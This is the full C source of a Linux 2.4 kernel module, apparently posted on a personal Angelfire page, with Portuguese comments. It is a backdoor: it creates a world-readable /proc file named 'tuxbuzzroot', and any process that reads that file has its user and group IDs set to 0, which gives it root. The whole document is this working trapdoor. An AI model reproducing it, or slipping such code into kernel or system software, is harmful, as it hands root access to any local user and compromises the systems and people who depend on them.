Site hosted by Angelfire.com: Build your free website today!
 /**************************************************************************** 
 
 tuxbuzzroot.c 0.0.1b 
 bY DoC#include
 darthfeio@lycos.com
 UIN : 52461929
 
 um hack simples que cria um arquivo em /proc de forma que quando um processo 
 tenta ler esse arquivo ele ganha id de root (id = 0)                         
 apenas para linux 2.4 por enquanto                                           
 de uma olhada em linux/proc_fs.h para saber mais sobre as funcoes de registro
 de arquivos em /proc                                                         
 
 *****************************************************************************/

#include <linux/kernel.h>
#include <linux/module.h>

#include <linux/proc_fs.h>

#define PROC_NAME "tuxbuzzroot" /* o nome do arquivo em /proc */

/* a funcao que e chamada quando um processo tenta ler o arquivo */
static int get_info(char*,char**,off_t,int); 

static int get_info(char* d,char** start,off_t offset,int len)
{
/* aqui esta o segredo : ) */
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;

	return 0;
}

struct proc_dir_entry *pde;
	
int init_module()
{
  /* registra o arquivo em /proc */
	pde = create_proc_info_entry(PROC_NAME, S_IFREG | S_IRUSR | S_IRGRP | S_IROTH,
	&proc_root,get_info);
	
	return 0; 	
}

void cleanup_module()
{
	/* remove o registro do arquivo */
	remove_proc_entry(PROC_NAME,&proc_root);
}